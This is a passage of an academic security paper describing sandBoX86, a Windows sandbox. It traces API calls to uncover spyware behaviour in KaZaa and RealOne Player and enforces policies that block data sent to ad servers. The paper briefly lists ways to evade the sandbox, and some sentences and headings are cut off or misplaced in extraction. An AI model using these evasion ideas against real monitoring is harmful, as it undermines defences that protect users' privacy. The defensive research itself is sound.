While context mapping allows semantically deep policy enforcement, it is still limited to the information present in the interface calls themselves. In the normal case, this may lead to false-positives. For example, this example is sufficient to prevent arbitrary malicious software from performing these operations, but a normally behaving browser would frequently violate this policy and be prevented from using the network. During normal operation a browser frequently reads cache files and sends data. However, the cache data is not sent by the browser. The problem is that the policy does not have sufficient context to determine if the data being sent is derived from sensitive data. In general, determining data dependence requires information flow analysis, which is well known to be enormously difficult. For example, the cascade problem involves aggregation of authorized information flows to produce an unauthorized flow, which arises in networks of systems. The problem of removing such cascades is NP-complete \[21\]. While this work does not solve the most general problem (information flow), we argue that the semantically rich policies made possible using this approach represent a significant step forward in tracking and controlling the behavior of untrusted software.
**Example 2** Our second example is related to scenario 2. KaZaa downloads and displays advertisements during its use. Furthermore, KaZaa users cannot prevent KaZaa from displaying the advertisements unless they choose to uninstall it. Our goal, therefore, is to be able to disable KaZaa’s advertisement feature without having to uninstall KaZaa. We now give a policy that can detect and prevent KaZaa from connecting, sending or receiving any data from a list of blocked servers. At the same time, the policy allows other activities such as searching and downloading files from peer hosts. The policy is shown in Figure 3. Line 3 specifies the list of remote servers we want to block KaZaa from accessing. This list is constructed using dynamic slicing as was discussed earlier. In Line 4, we hash each IP address KaZaa has obtained through the gethostbyname call. Line 5 of the policy prevents KaZaa from establishing TCP connections to any of the remote servers that is on the blocked list. Lines 6 and 7 deal with the cases where KaZaa attempts to send or receive data from the blocked servers using UDP sockets.
This policy achieves the goal of stopping KaZaa from downloading advertisements from a list of remote
servers, which, consequently, prevents KaZaa from displaying the advertisements. The policy has one additional property: it also stops KaZaa from sending any information to these servers, which potentially could be more damaging since KaZaa can send private or sensitive data back to these servers. Line 6 stops this potential spying activity by intercepting any attempt to send data to the blocked servers. When KaZaa tries to send data to any one of the remote servers, we do not execute the send call but instead return success as if the call went through.
Above we give an example policy that stops KaZaa from receiving unwanted data from remote servers. We want to emphasize that this is just one example demonstrating the expressiveness of our policy language. In general, one can use ESL policies to block any sequence of events where the policy may seem to fit.
2.3 (Step 3) enforcing security policies
ESL security policies are enforced by our sandbox. We briefly describe the the process by which the security policies are enforced. Details can be found in Section 5. The ESL security policies described before are compiled into two dynamically loadable libraries (DLLs): event-interceptor and policy-enforcer DLL. A raw event (in our case of Win32 API call) is transformed into an abstract event by the event-interceptor DLL. The abstract event is passed onto the policy-enforcer DLL, which decides on the action to be taken for that event.
3 Related Work
This section considers how past works have detected and contained undesirable software behavior (e.g., bugs, spyware, malicious code).
Dynamic slicing algorithms typically reconstruct dependencies between statements in an execution trace [3, 4, 30, 53, 57]. Since slicing tracks the flow of values between statements, it can be cast in an information-flow framework [9, 14, 20, 44]. Agrawal et al. showed how dynamic slicing can be used to narrow the search for software errors, and hence reduce debugging costs [3]. Their dynamic slicing tool works backward from a known erroneous output toward the possible sources of the error. All code upon which the error state is dependent (as indicated by trace and symbolic information) is included in the program slice. Because all causality is captured in the slice, no other code need be searched for the source of the error. Smith and Korel recognized the difficulty and cost of obtaining and analyzing potentially large execution traces [49]. Also used for debugging, they define an algorithm that detects dependencies between logged resource usage events, rather than complete execution traces. Event slices are constructed from computed event dependencies and used to identify the cause of an error.
Slicing has also been shown to be a valuable tool for detecting malicious behavior. For example, King and Chen show how to reconstruct adversarial behavior from traces of operating system events on compromised hosts [27]. Their BackTracker system uses timed filesystem and process system call traces to reconstruct possible compromising events. BackTracker reconstructs a graph of relevant operations working from some known compromised behavior. This graph highlights the possible sources of compromise, and hence is a succinct and intuitive forensic representation of the attack. We note that such solutions may face similar issues as debugging slicer applications. For example, the cost of keeping complete execution or event traces may be prohibitive. We posit that sampling techniques, such as those proposed Liblit et al. [32], may help mitigate these costs.
Sandboxing is an increasingly important tool for secure systems deployment [15, 17, 18, 19, 23]. Sandbox tools prevent malicious behavior by monitoring and regulating security relevant operations according to some policy. For example, Provos regulates process operation by intercepting and enforcing policy over system calls [39]. These policies reduce the range of possible behaviors of a governed process, and hence the power of the compromising adversary. Garfinkel provides a thorough treatment of complex issues faced by designers of these system call interposition solutions [16]. Other systems are based on similar ideas, but built upon formal policy models [8, 45, 46]. Based on the Flask architecture, the SELinux platform uses a number of similar enforcement mechanisms to enforce role based access control, type safety, and multi-level security policy [34].
Policy enforcing solutions need not require privileged or kernel level access. Jain and Sekar introduce the notion of user level interposition of system calls as a vehicle for intrusion detection and malicious behavior mitigation [23]. Other solutions attempt to control program flow [28] or monitor for and prevent specific behaviors (e.g., buffer overflows) [13] through code instrumentation or process introspection.
Several commercial products have recently been launched in response to heightened public concern about spyware. In addition to a range of other security related features, Zone Alarm [58, 59] restricts local network connections based on a local policy. Zone Alarm further allows policy to be learned through user input, e.g., by appealing to the user when network operations with unspecified policy occur. Other commercial products treat spyware as viral behavior. Products such as Ad-aware [1, 2] develop signatures for spyware. Local drives, memory, and attachments are checked for the presence of spyware. Where found, the offending sources are quarantined.
While we build on many of these works, but the goals and execution of sandBoX86 make it unique. The novelty of our solution lies not only in the technology, but in the domain of policy; we focus on services that ensure user privacy. We use dynamic slicing to analyze behavior and guide policy construction, rather than as a forensic tool. Moreover, our dynamic slicing tool processes execution traces that do not have complete information (e.g., only system calls are visible but all the internal computation is hidden). The idea of interposing a library to intercept Win32 APIs has been suggested [22, 42] and UNIX system call interposition is well understood. However, we are the first to integrate comprehensive tools for policy creation and their subsequent enforcement. The following sections detail how we bring these elements together to form a complete and novel solution to combat privacy violations.
4 Dynamic Slicing
Dynamic slicing attempts to discover dependencies between events in an execution trace. In this section we present our dynamic-slicing algorithm. One of the main challenges we faced in dynamic slicing was incomplete information. For example, we only log events that correspond to Win32 API calls, and therefore all the information about the internal computation of the application is absent from the trace. We present a
4.1 Dynamic Slicing
This subsection provides the description of our dynamic-slicing algorithm. First, we formally define events and traces. Different events (such as gethostbyname and bind) use different types to represent the same information. For example, gethostbyname and bind use different types to represent IP addresses (see Figure 4(a)). In order to determine dependences between events, types of arguments and return values have to be normalized, e.g., all elements representing IP addresses should have the same type. We describe such a type-normalization procedure. Using types of arguments and return values to events, we define dependencies between events. Finally, dependencies between events are used to define forward and backward slices.
**Events and traces.** An event is a triple $e = \langle pc, event-name, arg-list \rangle$, consisting of the program counter $pc$, name of the event $event-name$, and a list of typed arguments $arg-list = (v_1 : \tau_1, \ldots, v_k : \tau_k)$ (where value $v_i$ has type $\tau_i$). An event represents a Win32 API call made at a specific location by the application. By convention, the last value in the argument list is the value returned by the event. A trace $T$ is simply a sequence $\langle e_1, \ldots, e_n \rangle$ of events.
**Type normalization.** The type mismatch problem is a result of the fact that equivalent data types can have different representations in C. For example, types `char*` and `char[]` are equivalent. Instead of using sophisticated type equivalence algorithms [10, 37] we normalize the types using the EDL specification. For example, the Windows’ socket API defines two structures that refer to hosts, shown in Figure 4(a). The structure `hostent` uses a `char**` to represent a list of possible IP addresses. On the other hand, the structure `sockaddr_in` stores a single IP address for a host using the type `in_addr` (which is a union of 4 bytes). Some calls like gethostbyname, and gethostbyaddr use `hostent` to return the address information for a given host. On the other hand, calls such as connect and bind use `sockaddr_in` to pass IP address information. Our slicing algorithm needs to deduce equivalence between types in order to determine dependency information.
Using the EDL specification we normalize all equivalent types and replace them by an unique type. This unique type is used in every place where one of the equivalent types is used in the API. Continuing with the example, we choose to use `addr_edl` as the unique type to represent IP addresses. We first create a unique type to represent the normalized type, and then update all corresponding data structures inside EDL to use this new data type. The corresponding EDL data structures (all the type names end with the suffix `edl`) are shown in Figure 4(b). Here the new unique type `addr_edl` is used to represent IP addresses in the two data structures `sockaddr_in_edl` and `hostent_edl`. This solution works as long as the types

are compatible, and the fact that both structures now use the same subtype allows the slicing algorithm to infer data dependency.
**Killed and used sets.** Consider an event \( e = \langle pc, \text{event-name}, \text{arg-list} \rangle \), where \( \text{arg-list} = (v_1 : \tau_1, \cdots, v_k : \tau_k) \). We associate two sets of values, called the killed set and used set (denoted by \( \text{killed}(e) \) and \( \text{used}(e) \)), with an event \( e \). The killed and used set are defined as follows:
\[
\text{killed}(e) = \{ v_i \mid v_i \text{ is a pointer and is modified by the event} \} \\
\text{used}(e) = \{ v_i \mid v_i \text{ is used by the event } e \}
\]
Notice that the killed set only contains pointers. Whether an argument is modified or used by an event is inferred from the documentation of the Win32 API call corresponding to the event. Note that the value corresponding to the return value of an event is always in the killed set.
**Computing Dependencies.** In order to define data dependence formally, we need to precisely define whether a value \( v \) depends on another value \( v' \). In traditional dynamic-slicing algorithms [4, 30, 53, 57], one records all the loads and stores at all memory addresses. Therefore, dependency information is easy to infer from memory addresses. Since our logs have incomplete information, deciding whether a value is dependent on another is tricky. We define a predicate \( \text{depends}(v : \tau, v' : \tau') \), which returns 1 if \( v \) is dependent on \( v' \) and returns 0 otherwise. Our definition of \( \text{depends}(v : \tau, v' : \tau') \) uses type information associated with values.
In our type system, certain primitive types (such as \text{addr}_\text{edl}) are designated as types with equality. Intuitively, primitive types with equality represent an operating-system resource or an entity (such as a host), e.g., a value of type \text{addr}_\text{edl} abstractly represents the host with the specified IP address. Two values of primitive types can only be compared if the types are designated as types with equality. In other words, given two values \( v : \tau \) and \( v' : \tau \), we say that \( v = v' \) is true iff \( v = v' \) and \( \tau \) is a primitive type with equality.
A record type that has \( k \) fields of type \( \tau_1, \cdots, \tau_k \) is denoted by \( \text{record}(\tau_1, \cdots, \tau_k) \). A pointer to an object of type \( \tau \) has type \text{ref}\( \tau \). Suppose that we have two values \( v \) and \( v' \) of type \( \tau = \text{record}(\tau_1, \cdots, \tau_k) \) and \text{ref}\( \tau \), respectively, where for \( 1 \leq i \leq k \), \( \tau_i \) are primitive types (\( v \) is a record and \( v' \) is a pointer to a record). Let the \( i \)-th field of the record \( v \) be \( v_i \) and the \( i \)-th field of the record pointed to by \( v' \) be \( (\star v')_i \). In this case, we say that \( v \) depends on \( v' \) if there exists \( i \) such that \( v_i = (\star v')_i \) and \( \tau_i \) is a primitive type with equality. Intuitively, the records represented by \( v \) and pointed to be \( v' \) share an operating system resource or entity corresponding to the primitive type \( \tau_i \). This intuitive idea is formalized and extended to the complete type system shown in appendix A.
Consider a trace \( T = (e_1, \cdots, e_n) \). A value \( v \) in an event \( e \) is denoted by \( (v, e) \). We say that there is a data dependence of value \( (v_i, e_a) \) on a value \( (v_j, e_b) \) if following three conditions are satisfied:
- \( v_i \in \text{used}(e_a) \),
- for all \( k \) such that \( b < k < a \) we have that \( v_j \notin \text{killed}(e_k) \), and
- value \( v_i \) depends on \( v_j \) or \( \text{depends}(v_i, v_j) = 1 \).
Notice that in traditional program analysis literature this is called a def-clear path from \((v_i, e_a)\) to \((v_i, e_a)\).
**Forward and backward slices.** Consider a trace \( T = (e_1, \cdots, e_n) \). The data-dependency graph or DDG of \( T \) is defined as a directed graph \( G = (V, E) \), where \( V \) and \( E \) are defined as follows:
- Consider an event \( e = \langle pc, \text{event-name}, (v_1 : \tau_1, \cdots, v_k : \tau_k) \rangle \). The set of vertices \( V(e) \) associated with \( e \) is \( \{ (v_1, e), \cdots, (v_k, e) \} \). The set of vertices \( V \) of the DDG is \( \bigcup_{i=1}^{n} V(e_i) \), where \( e_1, \cdots, e_n \) is the set of events occurring in \( T \).
- There is an edge from \((v, e_i)\) to \((v', e_k)\) (denoted as \( (v, e_i) \rightarrow (v', e_k) \)) iff \( v' \) depends on \( v \).
A forward slice from a value \((v_j, e_i)\) in the trace \(T\) (denoted by \(fslice((v_j, e_i), T)\)) is the sub-graph of \(G_T\) that contains all vertices that correspond to events which are reachable from \((v_j, e_i)\). A backward slice from a value \((v_j, e_i)\) in the trace \(T\) (denoted by \(bslice((v_j, e_i), T)\)) is the sub-graph of \(G_T\) that contains all vertices that can reach \((v_j, e_i)\).
### Implementation details and GUI.
Our dynamic-slicing tool is about 9000 lines of Java code. Description of the GUI and additional implementation details can be found in appendix B.2.
## 5 SandBoX86
The architecture of our infrastructure is shown in Figure 5. We first describe the life-cycle of an event through our architecture. Since our architecture monitors Windows applications, the events of interest are Win32 API calls. The number of the item given below corresponds to the arrows in Figure 5.
1. The application generates an event which is captured by the event-interceptor DLL.
2. The event generated by the application is transformed into an abstract event by the event-interceptor DLL and is passed to the policy-enforcer DLL.
3. The policy-enforcer DLL processes the abstract event and decides on an appropriate action.
4. If the abstract event is allowed, then the policy-enforcer DLL passes the concrete event to the operating system.
5. Results from the operating system are received and passed back to the application and the state of the monitor is updated. If the abstract event is denied, a failure code is returned to the application.
### Event Description Language (EDL).
The event description language or EDL is a platform-independent language for specifying parameterized events. It has a rich type system (described in appendix A), which allows for detailed specification of events and their associated arguments and return values. Intuitively, EDL describes abstract events which are used by the security policy. The intent of the EDL is that it can be used to create an abstract model for a given platform. For example, a model describing the Win32 and socket APIs would be an expected use of the EDL. We have implemented a compiler for EDL, which takes as its input a file with an EDL specification and produces header files which are used in generating the policy-enforcer DLL. We will describe various features of EDL using an example.
**Example 3** Consider the EDL example shown in Figure 6. The example defines the following data-types and events:
```plaintext
1. typedef sockaddr_edl = union string | int
2. typedef socket_edl = int
3. event connect(socket_edl sock, sockaddr_edl addr) = int
4. event gethostbyname(string name) = sockaddr_edl
```
- typedef sockaddr_edl... defines a type representing an IP address. It is a union because an IP address may be stored as either a string or an integer value.
- typedef socket_edl... defines a type representing a socket descriptor, stored as an integer.
- event connect(...)= int defines an event representing a connect system call. It takes two parameters, a socket, and an address. The event returns an integer error code.
- event gethostbyname(...) = sockaddr_edl defines an event representing a DNS nameservice lookup. It takes a hostname and returns an IP address.
**Event Sequence Language (ESL).** Our security policy is expressed in a language called the *event sequence language* or ESL. Examples of two ESL policies were given in Section 2. Therefore, due to space limitations we will keep the discussion of ESL brief. An ESL specification defines patterns on abstract events specified by the EDL. Once a pattern is matched, rules can be applied to determine whether or not the abstract event should be allowed or denied. Formally, ESL is a framework to describe a security automaton whose alphabet is the set of abstract events defined using EDL. We have built a compiler for ESL which takes files containing EDL and ESL specifications and creates the policy-enforcer DLL. We describe various components of ESL.
**Abstract events.** In Figure 3 of Section 2 [edl "kazaa.edl"] refers to the EDL file named "kazaa.edl". All rules defined in this ESL specification use the abstract events defined in the EDL file kazaa.edl.
**State.** The state in the security policy is defined using auxiliary variables. Any valid type in the C programming language is an allowable type for an auxiliary variable.
**Actions.** We define three types of actions in our security policy: allow, deny, and transform. The allow action specifies that an event should be allowed and passed on to the operating system. The deny action indicates that an abstract event should be disallowed and a failure code should be returned to the application. The transform action indicates how certain arguments of an event should be transformed before the event is passed to the operating system (OS). The transform action was added because certain applications will shut themselves down if system calls they issue fail. We are investigating OS-virtualization techniques to handle this issue.
**Rules.** Each rule in the security policy is of the following form:
```
match event [precondition] → action [postcondition]
```
An event \( e \) matches the above rule if the state of the security policy satisfies the precondition of the rule and \( e \) matches the event specified by the rule. If event \( e \) matches a rule, the action specified in the rule is taken and the state is updated according to the postcondition. If there are multiple rules, then the first rule that matches an event is applied (this is similar to processing of firewall rules). Events that do not match any rule are allowed by default.
**Implementation details.** The ESL and EDL compiler are about 2700 lines of Java code. For efficiency reasons, the monitor was implemented in C. Our implementation for the monitor is approximately 3000 lines of C code. Additional details can be found in appendix B.1.
5.1 Threats
A thorough discussion of traps and pitfalls of sandboxing systems which rely on system call interposition is given by Garfinkel [16]. The three major threats specific to our sandboxing system are:
**DLL bypassing.** A hostile application could try to thwart the interposed monitor DLL by not making calls through the standard Win32 API. We have implemented a kernel hook to address this attack. Our kernel hook is described in detail in Appendix C. Eventually, in order to eliminate the DLL bypassing attack we
want to move to a hybrid-sandboxing architecture\(^2\) which is a difficult task given the arcane nature of the Windows kernel API.
*Direct attack.* This attack can take two forms: modifying the monitor on disk or in memory with the goal of bypassing the security policy.
*Mimicry attack.* The idea behind this attack is to analyze the specific ESL policies in use, and transform the attack such that it is allowed by the security policy \(^{[55]}\). Countermeasures to direct and mimicry attacks are discussed in the appendix \(^{C}\).
## 6 Case Studies
To evaluate our infrastructure, we considered two applications: KaZaa \(^{[25]}\) and RealOne Player \(^{[41]}\). We chose these two applications because they have two properties in common: *both are very popular* and more importantly, *both are often classified as spyware*. As defined earlier, spyware is a useful software that also transmits private user data to an external entity. As both KaZaa and RealOne Player are used by millions of users, the prospect that they may contain malicious spying activities often causes great concerns. This section gives a brief overview of the two applications.
### 6.1 KaZaa
KaZaa \(^{[25]}\) is a distributed peer-to-peer (P2P) file-sharing application which allows millions of users to share files over the Internet. As of May 2004 \(^{[26]}\), an estimated 348 million copies of KaZaa had been downloaded. Although KaZaa itself may not have any spyware features, it often distributes third-party software with every release, and some, if not all, of these third-party software are spyware-laden. We divide these bundled spyware into three categories.
- **Advertising.** Most of the spyware distributed with KaZaa is related to advertising (and hence is called *AdWare*) and their main objective is to display advertisements to KaZaa users. Since KaZaa receives fees from third-party software vendors, there is an incentive for KaZaa to make sure that the users cannot bypass the AdWare. For example, Cydoor, a frequently cited spyware bundled with Kazaa, is in fact embedded within KaZaa so that a forceful removal of Cydoor will cause KaZaa to malfunction. The latest version of KaZaa that we have investigated (version 2.5.2) has the capability of thwarting users from using simple techniques to block its third party software. If KaZaa is unable to detect or undo the changes made by users, then it will crash when the built-in spyware attempts to connect to the home servers.
- **Spying.** Although KaZaa claims that it no longer bundles any spyware, older versions of software bundled with KaZaa had features such as tracking and reporting user activities back to the vendors and downloading and installing binary programs.
- **Hidden features.** When first revealed to the public in 2002, AltNet, a software bundled with KaZaa, caused an uproar amongst users. AltNet, once enabled, could allow AltNet’s distributor, Brilliant Digital, to tap into the vast computer resources of the KaZaa users. For instance, Brilliant Digital could use millions of KaZaa users’ computers to store and retrieve files, or to perform computation tasks. AltNet software is currently still bundled with KaZaa, even though Brilliant Digital has not activated it.
\(^{2}\)In a hybrid sandbox, the trapped event is first passed to a kernel module which consults a user module (which contains the security policy) to decide on the appropriate action for the event.
6.2 RealOne Player
RealOne Player is a part of the widely used software suite developed by Real Networks. RealOne Player can manage and play back many types of media files, such as real, mpeg and MP3. In addition, as a feature, RealOne Player can retrieve detailed information about the media file being played. For example, when a user is playing a music CD, RealOne Player can display the title of the CD as well as details about each track. Real Networks’ software has a well-known history of sending user-related information back to Real’s server, which is clearly stated in their End-User License Agreement (EULA). Although Real Networks does not reveal the details about what kind of information their software is collecting, it was widely reported that Real Jukebox from Real Networks used to send its user’s music preferences back to Real Networks’ home servers. For instance, when a user is listening to a CD, Real Jukebox could send information about the CD and the user’s unique identifier to Real Networks.
6.3 Thwarting Privacy Violations
Using a process very similar to the one described earlier (see scenario 2 in section 2) we were able to discover privacy violations in KaZaa and RealOne Player and gather detailed information about them. Using this information we were able to design security policies (which are very similar to the policy shown in Figure 3 of Section 2) to thwart these privacy violations. Details about this process are omitted due to space limitations.
7 Evaluation
This section describes an empirical study of the performance of sandBoX86. We evaluate cost over three sets of experiments. We measure low-level costs by collecting per-API call microbenchmarks, and profile application sandboxing using macrobenchmarks collected from user programs. Finally, we study the resource usage of our tool by analyzing memory consumption. These tests reveal that the performance and resource costs associated with sandBoX86 are nominal. Moreover, they further illustrate that these costs are less than those incurred by the majority of extant sandboxing tools, and did not demonstrably change the user experience in interactive applications (e.g., the sandboxing did not visibly change application response time). For example, the macrobenchmarks show a slow down of less than 3.2% for all three test applications.
We conducted all experiments on a 2.8GHz Intel Pentium-4 based machine with 1GB of memory, running Windows 2000 Professional. We use the high-performance timer (with the precision of 0.28µ-s/cycle) to obtain the experiment data. The SSH Secure Shell (version 3.2.0), KaZaa (version 2.5.2) and RealPlay (version 2.0) were profiled in our experiments. The SSH Secure Shell application was tested by connecting to a random host selected from a host pool. This test further simulates a SSH workload by connecting to the remote host, executing a fixed series of UNIX commands (e.g., cd, tar, gzip and grep), and disconnecting. The KaZaa application searched and downloaded the KaZaa installation binary (about 7MB), after which it exited. Finally, the RealPlay played a music file (about 3 minutes long) and terminated. Each experiment was conducted three times and results were averaged.
7.1 Microbenchmarks
Microbenchmarks measure the per-API call overhead. Our base metrics are obtained by measuring the time of each API call as uninstrumented (original in Table 1) and sandboxed. The difference between the two metrics is the measured total overhead of our sandbox infrastructure. We note that it is necessary to
Table 1: Microbenchmarks (partial)\(^a\)
<table>
<thead>
<tr>
<th>API Name</th>
<th>Application</th>
<th>Original ((\mu s))</th>
<th>Monitor</th>
<th>Overhead ((\mu s))</th>
<th>Enforcement</th>
<th>Logging</th>
<th>Total</th>
</tr>
</thead>
<tbody>
<tr>
<td>bind</td>
<td>RealPlay</td>
<td>78.78</td>
<td>5.87</td>
<td>1.68</td>
<td>16.34</td>
<td>23.89</td>
<td></td>
</tr>
<tr>
<td></td>
<td>KaZaa</td>
<td>66.99</td>
<td>5.92</td>
<td>1.57</td>
<td>16.17</td>
<td>23.66</td>
<td></td>
</tr>
<tr>
<td>closesocket</td>
<td>SSH</td>
<td>69.84</td>
<td>6.15</td>
<td>2.23</td>
<td>6.70</td>
<td>15.08</td>
<td></td>
</tr>
<tr>
<td></td>
<td>RealPlay</td>
<td>64.81</td>
<td>6.29</td>
<td>1.54</td>
<td>8.66</td>
<td>16.49</td>
<td></td>
</tr>
<tr>
<td></td>
<td>KaZaa</td>
<td>57.93</td>
<td>6.31</td>
<td>1.47</td>
<td>7.93</td>
<td>15.71</td>
<td></td>
</tr>
<tr>
<td>connect</td>
<td>SSH</td>
<td>77.24</td>
<td>6.15</td>
<td>3.49</td>
<td>31.71</td>
<td>41.35</td>
<td></td>
</tr>
<tr>
<td></td>
<td>RealPlay</td>
<td>126.41</td>
<td>6.29</td>
<td>4.75</td>
<td>20.11</td>
<td>31.15</td>
<td></td>
</tr>
<tr>
<td></td>
<td>KaZaa</td>
<td>81.76</td>
<td>6.12</td>
<td>3.10</td>
<td>22.70</td>
<td>31.92</td>
<td></td>
</tr>
<tr>
<td>gethostbyname</td>
<td>SSH</td>
<td>31669.40</td>
<td>8.38</td>
<td>82.41</td>
<td>39.39</td>
<td>130.17</td>
<td></td>
</tr>
<tr>
<td></td>
<td>RealPlay</td>
<td>7314.34</td>
<td>8.38</td>
<td>84.65</td>
<td>22.07</td>
<td>115.10</td>
<td></td>
</tr>
<tr>
<td></td>
<td>KaZaa</td>
<td>34144.00</td>
<td>8.66</td>
<td>117.85</td>
<td>29.10</td>
<td>155.61</td>
<td></td>
</tr>
<tr>
<td>select</td>
<td>RealPlay</td>
<td>4736480.00(^b)</td>
<td>4.90</td>
<td>0(^c)</td>
<td>0(^c)</td>
<td>4.90</td>
<td></td>
</tr>
<tr>
<td></td>
<td>KaZaa</td>
<td>107134.30(^b)</td>
<td>4.20</td>
<td>0(^c)</td>
<td>0(^c)</td>
<td>4.20</td>
<td></td>
</tr>
<tr>
<td>send</td>
<td>SSH</td>
<td>29.49</td>
<td>6.99</td>
<td>1.79</td>
<td>60.38</td>
<td>69.16</td>
<td></td>
</tr>
<tr>
<td></td>
<td>RealPlay</td>
<td>13.13</td>
<td>6.70</td>
<td>1.68</td>
<td>100.85</td>
<td>109.23</td>
<td></td>
</tr>
<tr>
<td></td>
<td>KaZaa</td>
<td>38.13</td>
<td>5.95</td>
<td>1.56</td>
<td>45.25</td>
<td>52.76</td>
<td></td>
</tr>
<tr>
<td>socket</td>
<td>SSH</td>
<td>620.75</td>
<td>6.98</td>
<td>3.91</td>
<td>9.50</td>
<td>20.39</td>
<td></td>
</tr>
<tr>
<td></td>
<td>RealPlay</td>
<td>286.53</td>
<td>7.26</td>
<td>4.84</td>
<td>9.08</td>
<td>21.18</td>
<td></td>
</tr>
<tr>
<td></td>
<td>KaZaa</td>
<td>78.05</td>
<td>6.04</td>
<td>1.66</td>
<td>8.72</td>
<td>16.42</td>
<td></td>
</tr>
<tr>
<td>WSAAsyncSelect</td>
<td>SSH</td>
<td>8.89</td>
<td>5.81</td>
<td>1.44</td>
<td>8.52</td>
<td>15.77</td>
<td></td>
</tr>
<tr>
<td>WSARecv</td>
<td>SSH</td>
<td>10.48</td>
<td>5.88</td>
<td>1.46</td>
<td>12.67</td>
<td>20.01</td>
<td></td>
</tr>
<tr>
<td></td>
<td>KaZaa</td>
<td>40014.94</td>
<td>5.90</td>
<td>1.52</td>
<td>14.25</td>
<td>21.67</td>
<td></td>
</tr>
<tr>
<td>WSARecvFrom</td>
<td>KaZaa</td>
<td>11.56</td>
<td>5.94</td>
<td>1.50</td>
<td>23.94</td>
<td>31.38</td>
<td></td>
</tr>
</tbody>
</table>
\(^a\)Due to space limitation, we only show a subset of the data. Trivial API calls such as \texttt{ntohl}, \texttt{htonl}, etc are omitted here.
\(^b\)The cost here includes the time spent waiting for I/O to complete, therefore is not an accurate reflection of the CPU overhead.
\(^c\)In this case, the policy does not enforce or log the \texttt{select} call. Therefore there is no overhead.
construct finer-grained metrics to capture the impact of application specific behavior. For example, policy enforcement is naturally application dependent. Additionally, because logging records the arguments of each API call, its cost could differ greatly from application to application (and in some cases, within the same application). For these reasons, we broke down the total overhead into three cost categories: monitor overhead, enforcement overhead and logging overhead. The results are shown in Table\(^\[1\]\).
### 7.2 Memory Usage
Note that in all tests, the \texttt{select} call appears to be abnormally expensive. This is because the measured \texttt{select} calls are blocking, and much of the measured time was actually spent waiting for the I/O to be ready, i.e., the program had yielded the processor. The actual CPU time for a \texttt{select} call should be a tiny fraction of the cost shown in the table. The measured cost of the \texttt{WSARecv} calls in the KaZaa application is also high for the same reason. Similarly, \texttt{gethostbyname} shows high execution cost in all three test cases also due to the blocking nature of the call.
The monitoring costs are small and nearly identical in all tests. This is not surprising because monitor-
7.3 Macrobenchmarks
While microbenchmarks gives a clear picture on the per-API overhead, it is the performance of the applications which end users care most about. For this reason, we measure the total overhead incurred by each application using macrobenchmarks. Shown in Table 7, these metrics reflect the aggregate cost by measuring the applications’ total run time. Out of the three applications tested, SSH incurred the highest overhead. For monitoring only, SSH took an additional 12.17 milliseconds of overhead; the total overhead for SSH is 27.54 milliseconds, or about 3.2% comparing to the original cost. In comparison, both RealOne Player and KaZaa only incurred a small amount of overhead (about 0.05% and 0.80%, respectively). In summary, the experiments indicate that interactive or computation bound applications will see little performance impact. Network bound applications may see some performance degradation, but even those costs are within reasonable limits (e.g., 3.2%).
Table 7: Macrobenchmarks
<table>
<thead>
<tr>
<th>Application</th>
<th>Orig. (ms)</th>
<th>Monitor</th>
<th>Overhead (ms)</th>
<th>Log</th>
<th>Total(%)</th>
</tr>
</thead>
<tbody>
<tr>
<td>SSH Client</td>
<td>838</td>
<td>12.17</td>
<td>2.65</td>
<td>12.72</td>
<td>27.54(3.20%)</td>
</tr>
<tr>
<td>RealPlay</td>
<td>2146</td>
<td>0.43</td>
<td>0.14</td>
<td>0.43</td>
<td>1.00(0.05%)</td>
</tr>
<tr>
<td>KaZaa</td>
<td>4124</td>
<td>22.19</td>
<td>1.70</td>
<td>9.09</td>
<td>32.98(0.80%)</td>
</tr>
</tbody>
</table>
Table 8: Memory Overhead
<table>
<thead>
<tr>
<th>Application</th>
<th>Original (KB)</th>
<th>Overhead (KB)</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Text</td>
<td>Data</td>
</tr>
<tr>
<td>SSH Client</td>
<td>2126</td>
<td>991</td>
</tr>
<tr>
<td>RealPlay</td>
<td>37</td>
<td>164</td>
</tr>
<tr>
<td>KaZaa</td>
<td>1143</td>
<td>1126</td>
</tr>
</tbody>
</table>
7.4 Memory Usage
In addition to the run-time overhead, we also measured the memory overhead, shown in Table 8. Since we use the same code-base for all three test cases, the text-memory overhead is the same for all applications. The data-memory overhead varies slightly among applications because of the various data structures we maintain are policy specific. Some data structures are shared among applications for efficiency reasons. For example, we maintain a cache of all function pointers to the libraries we are intercepting. This cache is shared among all monitored applications.
8 Conclusion
We presented the design and implementation of a sandboxing infrastructure for Windows. We also described a dynamic-slicing algorithm for analyzing data dependencies in event traces. Our dynamic-slicing algorithm can be used to discover privacy violations. Finally, we performed an evaluation of our techniques on two applications: KaZaa and RealOne Player.
There are several directions for future work. A sandboxing system is only as good as the security policy it enforces. We want to investigate techniques, such as model checking, for analyzing security policies. We also want to develop a more powerful query interface to our dynamic-slicing tool. We believe that this will improve the task of discovering privacy violations. We also plan to undertake a thorough study of weaknesses and vulnerabilities of sandboxing systems for Windows.
References
A The EDL type system
This section presents the type system used by EDL. We also present a formal definition of dependency between two typed values. A type $\tau$ is valid EDL type if it satisfies one of the following conditions:
- **Primitive types.** $\tau$ is valid if it is int, string, float, or one of the EDL-defined types, such as sin_addr_edl (which represents an IP-address).
- **Pointer types.** If $\tau$ is a valid type, then $\text{ref } \tau$ is a valid type ($\text{ref } \tau$ represents a a pointer to an object of type $\tau$).
- **Record and union types.** If $\tau_1, \ldots, \tau_k$ are valid types, then $\text{record}(\tau_1, \ldots, \tau_k)$ and $\text{union}(\tau_1, \ldots, \tau_k)$ are valid types. A record with $k$ fields of types $\tau_1, \ldots, \tau_k$ has type $\text{record}(\tau_1, \ldots, \tau_k)$.
- **Array type.** If $\tau$ is a valid type, then $\text{array}[\tau]$ is a valid type (which represents an array whose elements have type $\tau$).
Given a pointer $v : \text{ref } \tau_1$, $\text{deref}(v)$ has type $\tau_1$ and is the object pointed to by $v$, or $\text{deref}$ represents the dereferencing operator.
In the EDL type system we also define subtyping between primitive types. Given two primitive types $\tau_1$ and $\tau_2$, $\tau_1 \leq \tau_2$ denotes that $\tau_1$ is a subtype of $\tau_2$. The subtyping relationship $\leq$ between primitive types can be extended to the entire EDL type system in a standard manner [10].
A.1 Defining the predicate $\text{depends}(v : \tau, v' : \tau')$
